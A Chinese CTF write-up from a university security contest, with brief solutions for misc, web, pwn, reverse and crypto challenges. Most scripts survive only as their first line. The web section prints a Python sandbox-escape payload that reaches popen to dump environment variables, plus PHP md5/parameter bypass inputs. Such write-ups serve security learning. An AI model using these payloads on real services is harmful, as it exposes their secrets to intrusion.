第九届中国海洋大学信息安全竞赛
MISC
一眼盯帧
拿到的 mp4 视频使用脚本提取每一帧
1 | import cv2 |
然后把题目的 jpg 每一张手工提取成 txt(ex
直接用 z3 求解器求解多元线性方程即可
1 | from z3 import * |
解转 ascii 字符得到 flag
帕鲁服务器#1
拿到的 vmdk 文件挂载到虚拟机后使用 wireshark 检测流量即可得到
WEB
ezPHP
1 |
|
hash 拓展攻击脚本(实际没有用到,怎么出题的 0.0)
?a=QLTHNDT&b=PJNPDWY&O%20U%20C=100%0a&md5=ouc
POST:md51[]=1&md52[]=2
cookie:md5=06d92f344c7d8c89cb164353ca0fa070
菜狗工具#1
payload:
找到 132 可用,global 找环境变量找到 flag
print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('env').read())
PWN
padded-fmt
1 | from pwn import * |
baby_stack
经典栈迁移
1 | from pwn import * |
摩登 Pwn
tigervnc 连上去,输入非法值就可以获得 flag
Reverse
xor++:
没啥好说,直接梭就行
1 | v4 = [ |
钩子:
1 | # 给定的byte_7FF7BAB41410数据 |
Crypto
Base64*rot13:
Cyberchef 选择 base64 解密并选择 rot13 模式
NeXT RSA
模!
1 | from math import factorial |
加密过程就是把先向左移动 8 位(类似于乘 2 的 8 次方),再加上每个字符的 ASCII 编码的阶乘模 233
因为已经给出了 flag 的字符范围,所以解密就是先把每个字符的 ASCII 编码的阶乘模 233 的结果求出来做成词典,把解密后得到的结果 output 模上 1<<8 得到的就是加上的字符 ASCII 编码的阶乘模 233 的结果,让它替换成词典中字符即可,然后把得到的 flag 反向输出就行
1 | from math import factorial |
评论